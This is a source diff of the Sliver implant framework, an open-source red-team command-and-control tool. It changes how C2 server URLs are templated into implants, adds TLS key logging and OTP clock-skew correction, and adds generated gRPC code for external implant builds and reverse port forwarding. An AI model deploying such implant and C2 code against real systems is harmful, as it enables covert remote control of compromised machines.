|
||||
// no graceful downgrade.
|
||||
// If zero, no PROXY header is sent. Currently, version 1 is supported.
|
||||
ProxyProtocolVersion int
|
||||
}
|
||||
|
||||
// UnderlyingConn returns c.Conn if c of type *Conn,
|
||||
// otherwise it returns c.
|
||||
func UnderlyingConn(c net.Conn) net.Conn {
|
||||
if wrap, ok := c.(*Conn); ok {
|
||||
return wrap.Conn
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
func goCloseConn(c net.Conn) { go c.Close() }
|
||||
|
||||
// HandleConn implements the Target interface.
|
||||
func (dp *DialProxy) HandleConn(src net.Conn) {
|
||||
ctx := context.Background()
|
||||
var cancel context.CancelFunc
|
||||
if dp.DialTimeout >= 0 {
|
||||
ctx, cancel = context.WithTimeout(ctx, dp.dialTimeout())
|
||||
}
|
||||
dst, err := dp.dialContext()(ctx, "tcp", dp.Addr)
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
if err != nil {
|
||||
dp.onDialError()(src, err)
|
||||
return
|
||||
}
|
||||
defer goCloseConn(dst)
|
||||
|
||||
if err = dp.sendProxyHeader(dst, src); err != nil {
|
||||
dp.onDialError()(src, err)
|
||||
return
|
||||
}
|
||||
defer goCloseConn(src)
|
||||
|
||||
if ka := dp.keepAlivePeriod(); ka > 0 {
|
||||
if c, ok := UnderlyingConn(src).(*net.TCPConn); ok {
|
||||
c.SetKeepAlive(true)
|
||||
c.SetKeepAlivePeriod(ka)
|
||||
}
|
||||
if c, ok := dst.(*net.TCPConn); ok {
|
||||
c.SetKeepAlive(true)
|
||||
c.SetKeepAlivePeriod(ka)
|
||||
}
|
||||
}
|
||||
|
||||
errc := make(chan error, 1)
|
||||
go proxyCopy(errc, src, dst)
|
||||
go proxyCopy(errc, dst, src)
|
||||
<-errc
|
||||
}
|
||||
|
||||
func (dp *DialProxy) sendProxyHeader(w io.Writer, src net.Conn) error {
|
||||
switch dp.ProxyProtocolVersion {
|
||||
case 0:
|
||||
return nil
|
||||
case 1:
|
||||
var srcAddr, dstAddr *net.TCPAddr
|
||||
if a, ok := src.RemoteAddr().(*net.TCPAddr); ok {
|
||||
srcAddr = a
|
||||
}
|
||||
if a, ok := src.LocalAddr().(*net.TCPAddr); ok {
|
||||
dstAddr = a
|
||||
}
|
||||
|
||||
if srcAddr == nil || dstAddr == nil {
|
||||
_, err := io.WriteString(w, "PROXY UNKNOWN\r\n")
|
||||
return err
|
||||
}
|
||||
|
||||
family := "TCP4"
|
||||
if srcAddr.IP.To4() == nil {
|
||||
family = "TCP6"
|
||||
}
|
||||
_, err := fmt.Fprintf(w, "PROXY %s %s %d %s %d\r\n", family, srcAddr.IP, srcAddr.Port, dstAddr.IP, dstAddr.Port)
|
||||
return err
|
||||
default:
|
||||
return fmt.Errorf("PROXY protocol version %d not supported", dp.ProxyProtocolVersion)
|
||||
}
|
||||
}
|
||||
|
||||
// proxyCopy is the function that copies bytes around.
|
||||
// It's a named function instead of a func literal so users get
|
||||
// named goroutines in debug goroutine stack dumps.
|
||||
func proxyCopy(errc chan<- error, dst, src net.Conn) {
|
||||
// Before we unwrap src and/or dst, copy any buffered data.
|
||||
if wc, ok := src.(*Conn); ok && len(wc.Peeked) > 0 {
|
||||
if _, err := dst.Write(wc.Peeked); err != nil {
|
||||
errc <- err
|
||||
return
|
||||
}
|
||||
wc.Peeked = nil
|
||||
}
|
||||
|
||||
// Unwrap the src and dst from *Conn to *net.TCPConn so Go
|
||||
// 1.11's splice optimization kicks in.
|
||||
src = UnderlyingConn(src)
|
||||
dst = UnderlyingConn(dst)
|
||||
|
||||
_, err := io.Copy(dst, src)
|
||||
errc <- err
|
||||
}
|
||||
|
||||
func (dp *DialProxy) keepAlivePeriod() time.Duration {
|
||||
if dp.KeepAlivePeriod != 0 {
|
||||
return dp.KeepAlivePeriod
|
||||
}
|
||||
return time.Minute
|
||||
}
|
||||
|
||||
func (dp *DialProxy) dialTimeout() time.Duration {
|
||||
if dp.DialTimeout > 0 {
|
||||
return dp.DialTimeout
|
||||
}
|
||||
return 10 * time.Second
|
||||
}
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
func (dp *DialProxy) dialContext() func(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
if dp.DialContext != nil {
|
||||
return dp.DialContext
|
||||
}
|
||||
return defaultDialer.DialContext
|
||||
}
|
||||
|
||||
func (dp *DialProxy) onDialError() func(src net.Conn, dstDialErr error) {
|
||||
if dp.OnDialError != nil {
|
||||
return dp.OnDialError
|
||||
}
|
||||
return func(src net.Conn, dstDialErr error) {
|
||||
log.Printf("tcpproxy: for incoming conn %v, error dialing %q: %v", src.RemoteAddr().String(), dp.Addr, dstDialErr)
|
||||
src.Close()
|
||||
}
|
||||
}
|
||||
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
|
||||
}
|
||||
|
||||
// StartBeaconLoop - Starts the beacon loop generator
|
||||
func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting beacon loop ...")
|
||||
// {{end}}
|
||||
@@ -122,7 +122,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
nextBeacon := make(chan *Beacon)
|
||||
|
||||
innerAbort := make(chan struct{})
|
||||
c2Generator := C2Generator(c2s, innerAbort)
|
||||
c2Generator := C2Generator(innerAbort)
|
||||
|
||||
go func() {
|
||||
defer close(nextBeacon)
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package transports
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"sync"
|
||||
@@ -14,7 +32,7 @@ type Connection struct {
|
||||
ctrl chan struct{}
|
||||
cleanup func()
|
||||
once *sync.Once
|
||||
tunnels *map[uint64]*Tunnel
|
||||
tunnels map[uint64]*Tunnel
|
||||
mutex *sync.RWMutex
|
||||
|
||||
uri *url.URL
|
||||
@@ -53,7 +71,7 @@ func (c *Connection) Cleanup() {
|
||||
func (c *Connection) Tunnel(ID uint64) *Tunnel {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
return (*c.tunnels)[ID]
|
||||
return c.tunnels[ID]
|
||||
}
|
||||
|
||||
// AddTunnel - Add tunnel to mapping
|
||||
@@ -61,7 +79,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
(*c.tunnels)[tun.ID] = tun
|
||||
c.tunnels[tun.ID] = tun
|
||||
}
|
||||
|
||||
// RemoveTunnel - Add tunnel to mapping
|
||||
@@ -69,17 +87,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
delete(*c.tunnels, ID)
|
||||
delete(c.tunnels, ID)
|
||||
}
|
||||
|
||||
func (c *Connection) removeAndCloseAllTunnels() {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
for id, tunnel := range *c.tunnels {
|
||||
for id, tunnel := range c.tunnels {
|
||||
tunnel.Close()
|
||||
|
||||
delete(*c.tunnels, id)
|
||||
delete(c.tunnels, id)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/proxy"
|
||||
@@ -36,12 +37,20 @@ import (
|
||||
// GoHTTPDriver - Pure Go HTTP driver
|
||||
func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
var transport *http.Transport
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: true, // We don't care about the HTTP(S) layer certs
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
if cryptography.TLSKeyLogger != nil {
|
||||
tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
|
||||
}
|
||||
// {{end}}
|
||||
if !secure {
|
||||
transport = &http.Transport{
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: opts.TlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
TLSClientConfig: tlsConfig,
|
||||
}
|
||||
} else {
|
||||
transport = &http.Transport{
|
||||
@@ -50,7 +59,7 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
|
||||
Timeout: opts.NetTimeout,
|
||||
}).Dial,
|
||||
TLSHandshakeTimeout: opts.TlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
TLSClientConfig: tlsConfig,
|
||||
}
|
||||
}
|
||||
client := &http.Client{
|
||||
|
||||
@@ -58,6 +58,7 @@ const (
|
||||
var (
|
||||
ErrClosed = errors.New("http session closed")
|
||||
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
|
||||
TimeDelta time.Duration = 0
|
||||
)
|
||||
|
||||
// HTTPOptions - c2 specific configuration options
|
||||
@@ -334,7 +335,8 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
|
||||
|
||||
uri := s.startSessionURL()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
otpCode := cryptography.GetOTPCode()
|
||||
timestamp := time.Now().UTC().Add(TimeDelta)
|
||||
otpCode := cryptography.GetExactOTPCode(timestamp)
|
||||
s.OTPQueryArgument(uri, otpCode)
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
|
||||
// {{if .Config.Debug}}
|
||||
@@ -349,6 +351,15 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
|
||||
return err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
serverDateHeader := resp.Header.Get("Date")
|
||||
if serverDateHeader != "" {
|
||||
// If the request failed and there is a Date header, find the time difference and save it for the next request
|
||||
curTime := time.Now().UTC()
|
||||
serverTime, err := time.Parse(time.RFC1123, serverDateHeader)
|
||||
if err == nil {
|
||||
TimeDelta = serverTime.UTC().Sub(curTime)
|
||||
}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] non-200 response (%d): %v", resp.StatusCode, resp)
|
||||
// {{end}}
|
||||
|
||||
@@ -167,6 +167,11 @@ func getTLSConfig() *tls.Config {
|
||||
return cryptography.RootOnlyVerifyCertificate(caCertPEM, rawCerts, verifiedChains)
|
||||
},
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
if cryptography.TLSKeyLogger != nil {
|
||||
tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
return tlsConfig
|
||||
}
|
||||
|
||||
@@ -80,7 +80,7 @@ type Start func() error
|
||||
type Stop func() error
|
||||
|
||||
// StartConnectionLoop - Starts the main connection loop
|
||||
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
|
||||
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting interactive session connection loop ...")
|
||||
@@ -88,7 +88,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
|
||||
|
||||
nextConnection := make(chan *Connection)
|
||||
innerAbort := make(chan struct{})
|
||||
c2Generator := C2Generator(c2s, innerAbort)
|
||||
c2Generator := C2Generator(innerAbort)
|
||||
|
||||
go func() {
|
||||
var connection *Connection
|
||||
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: false,
|
||||
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
uri: uri,
|
||||
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
uri: uri,
|
||||
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
|
||||
@@ -36,10 +36,18 @@ const (
|
||||
)
|
||||
|
||||
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
|
||||
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
|
||||
// {{end}}
|
||||
|
||||
c2Servers := []func() string{}
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
c2Servers = append(c2Servers, func() string {
|
||||
return "{{$value}}" // {{$index}}
|
||||
})
|
||||
// {{end}} - range
|
||||
|
||||
generator := make(chan *url.URL)
|
||||
go func() {
|
||||
defer close(generator)
|
||||
@@ -48,16 +56,16 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
var next string
|
||||
switch "{{.Config.ConnectionStrategy}}" {
|
||||
case strategyRandom: // Random
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
|
||||
case strategyRandomDomain: // Random Domain
|
||||
// Select the next sequential C2 then use it's protocol to make a random
|
||||
// selection from all C2s that share it's protocol.
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
|
||||
next = randomCCDomain(c2Servers, next)
|
||||
case strategySequential: // Sequential
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]()
|
||||
default:
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]()
|
||||
}
|
||||
c2Counter++
|
||||
if ^uint(0) < c2Counter {
|
||||
@@ -90,15 +98,15 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
}
|
||||
|
||||
// randomCCDomain - Random selection within a protocol
|
||||
func randomCCDomain(ccServers []string, next string) string {
|
||||
func randomCCDomain(ccServers []func() string, next string) string {
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return next
|
||||
}
|
||||
pool := []string{}
|
||||
pool := []func() string{}
|
||||
protocol := uri.Scheme
|
||||
for _, cc := range ccServers {
|
||||
uri, err := url.Parse(cc)
|
||||
uri, err := url.Parse(cc())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -106,7 +114,7 @@ func randomCCDomain(ccServers []string, next string) string {
|
||||
pool = append(pool, cc)
|
||||
}
|
||||
}
|
||||
return pool[insecureRand.Intn(len(pool))]
|
||||
return pool[insecureRand.Intn(len(pool))]()
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -46,7 +46,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
|
||||
+1176
-974
File diff suppressed because it is too large.
Load diff
@@ -45,6 +45,7 @@ message Session {
|
||||
repeated string Extensions = 23;
|
||||
// string ConfigID = 24;
|
||||
int64 PeerID = 25;
|
||||
string Locale = 26;
|
||||
}
|
||||
|
||||
message Beacon {
|
||||
@@ -76,6 +77,8 @@ message Beacon {
|
||||
|
||||
int64 TasksCount = 26;
|
||||
int64 TasksCountCompleted = 27;
|
||||
|
||||
string Locale = 28;
|
||||
}
|
||||
|
||||
message Beacons {
|
||||
@@ -110,6 +113,7 @@ enum OutputFormat {
|
||||
SHELLCODE = 1;
|
||||
EXECUTABLE = 2;
|
||||
SERVICE = 3;
|
||||
EXTERNAL = 4;
|
||||
}
|
||||
|
||||
message ImplantConfig {
|
||||
@@ -165,6 +169,18 @@ message ImplantConfig {
|
||||
bool RunAtLoad = 105;
|
||||
}
|
||||
|
||||
message ExternalImplantConfig {
|
||||
string Name = 1;
|
||||
ImplantConfig Config = 2;
|
||||
string OTPSecret = 3;
|
||||
}
|
||||
|
||||
message ExternalImplantBinary {
|
||||
string Name = 1;
|
||||
string ImplantConfigID = 2;
|
||||
commonpb.File File = 3;
|
||||
}
|
||||
|
||||
// Configs of previously built implants
|
||||
message ImplantBuilds {
|
||||
map<string, ImplantConfig> Configs = 1;
|
||||
@@ -598,6 +614,8 @@ message Host {
|
||||
|
||||
repeated IOC IOCs = 4;
|
||||
map<string, ExtensionData> ExtensionData = 5;
|
||||
|
||||
string Locale = 6;
|
||||
}
|
||||
|
||||
message AllHosts {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.5
|
||||
// protoc v3.21.6
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.5
|
||||
// protoc v3.21.6
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
+776
-725
File diff suppressed because it is too large.
Load diff
@@ -66,6 +66,9 @@ service SliverRPC {
|
||||
|
||||
// *** Implants ***
|
||||
rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
|
||||
rpc GenerateExternal(clientpb.GenerateReq) returns (clientpb.ExternalImplantConfig);
|
||||
rpc GenerateExternalSaveBuild(clientpb.ExternalImplantBinary) returns (commonpb.Empty);
|
||||
rpc GenerateExternalGetImplantConfig(clientpb.ImplantConfig) returns (clientpb.ExternalImplantConfig);
|
||||
rpc Regenerate(clientpb.RegenerateReq) returns (clientpb.Generate);
|
||||
rpc ImplantBuilds(commonpb.Empty) returns (clientpb.ImplantBuilds);
|
||||
rpc DeleteImplantBuild(clientpb.DeleteReq) returns (commonpb.Empty);
|
||||
@@ -144,6 +147,9 @@ service SliverRPC {
|
||||
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
|
||||
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
|
||||
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
|
||||
rpc StartRportFwdListener(sliverpb.RportFwdStartListenerReq) returns (sliverpb.RportFwdListener);
|
||||
rpc GetRportFwdListeners(sliverpb.RportFwdListenersReq) returns (sliverpb.RportFwdListeners);
|
||||
rpc StopRportFwdListener(sliverpb.RportFwdStopListenerReq) returns (sliverpb.RportFwdListener);
|
||||
|
||||
// Beacon only commands
|
||||
rpc OpenSession(sliverpb.OpenSession) returns (sliverpb.OpenSession);
|
||||
|
||||
@@ -67,6 +67,9 @@ type SliverRPCClient interface {
|
||||
HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
// *** Implants ***
|
||||
Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
|
||||
GenerateExternal(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
|
||||
GenerateExternalSaveBuild(ctx context.Context, in *clientpb.ExternalImplantBinary, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
GenerateExternalGetImplantConfig(ctx context.Context, in *clientpb.ImplantConfig, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
|
||||
Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
|
||||
ImplantBuilds(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ImplantBuilds, error)
|
||||
DeleteImplantBuild(ctx context.Context, in *clientpb.DeleteReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
@@ -140,6 +143,9 @@ type SliverRPCClient interface {
|
||||
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
|
||||
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
|
||||
StartRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStartListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error)
|
||||
GetRportFwdListeners(ctx context.Context, in *sliverpb.RportFwdListenersReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListeners, error)
|
||||
StopRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStopListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error)
|
||||
// Beacon only commands
|
||||
OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error)
|
||||
CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
@@ -483,6 +489,33 @@ func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) {
|
||||
out := new(clientpb.ExternalImplantConfig)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternal", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GenerateExternalSaveBuild(ctx context.Context, in *clientpb.ExternalImplantBinary, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternalSaveBuild", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GenerateExternalGetImplantConfig(ctx context.Context, in *clientpb.ImplantConfig, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) {
|
||||
out := new(clientpb.ExternalImplantConfig)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternalGetImplantConfig", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
|
||||
out := new(clientpb.Generate)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Regenerate", in, out, opts...)
|
||||
@@ -1113,6 +1146,33 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) StartRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStartListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error) {
|
||||
out := new(sliverpb.RportFwdListener)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartRportFwdListener", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GetRportFwdListeners(ctx context.Context, in *sliverpb.RportFwdListenersReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListeners, error) {
|
||||
out := new(sliverpb.RportFwdListeners)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetRportFwdListeners", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) StopRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStopListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error) {
|
||||
out := new(sliverpb.RportFwdListener)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StopRportFwdListener", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error) {
|
||||
out := new(sliverpb.OpenSession)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/OpenSession", in, out, opts...)
|
||||
@@ -1410,6 +1470,9 @@ type SliverRPCServer interface {
|
||||
HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
|
||||
// *** Implants ***
|
||||
Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
|
||||
GenerateExternal(context.Context, *clientpb.GenerateReq) (*clientpb.ExternalImplantConfig, error)
|
||||
GenerateExternalSaveBuild(context.Context, *clientpb.ExternalImplantBinary) (*commonpb.Empty, error)
|
||||
GenerateExternalGetImplantConfig(context.Context, *clientpb.ImplantConfig) (*clientpb.ExternalImplantConfig, error)
|
||||
Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error)
|
||||
ImplantBuilds(context.Context, *commonpb.Empty) (*clientpb.ImplantBuilds, error)
|
||||
DeleteImplantBuild(context.Context, *clientpb.DeleteReq) (*commonpb.Empty, error)
|
||||
@@ -1483,6 +1546,9 @@ type SliverRPCServer interface {
|
||||
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
|
||||
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
|
||||
StartRportFwdListener(context.Context, *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error)
|
||||
GetRportFwdListeners(context.Context, *sliverpb.RportFwdListenersReq) (*sliverpb.RportFwdListeners, error)
|
||||
StopRportFwdListener(context.Context, *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error)
|
||||
// Beacon only commands
|
||||
OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error)
|
||||
CloseSession(context.Context, *sliverpb.CloseSession) (*commonpb.Empty, error)
|
||||
@@ -1619,6 +1685,15 @@ func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*
|
||||
func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GenerateExternal(context.Context, *clientpb.GenerateReq) (*clientpb.ExternalImplantConfig, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GenerateExternal not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GenerateExternalSaveBuild(context.Context, *clientpb.ExternalImplantBinary) (*commonpb.Empty, error) {
|
||||
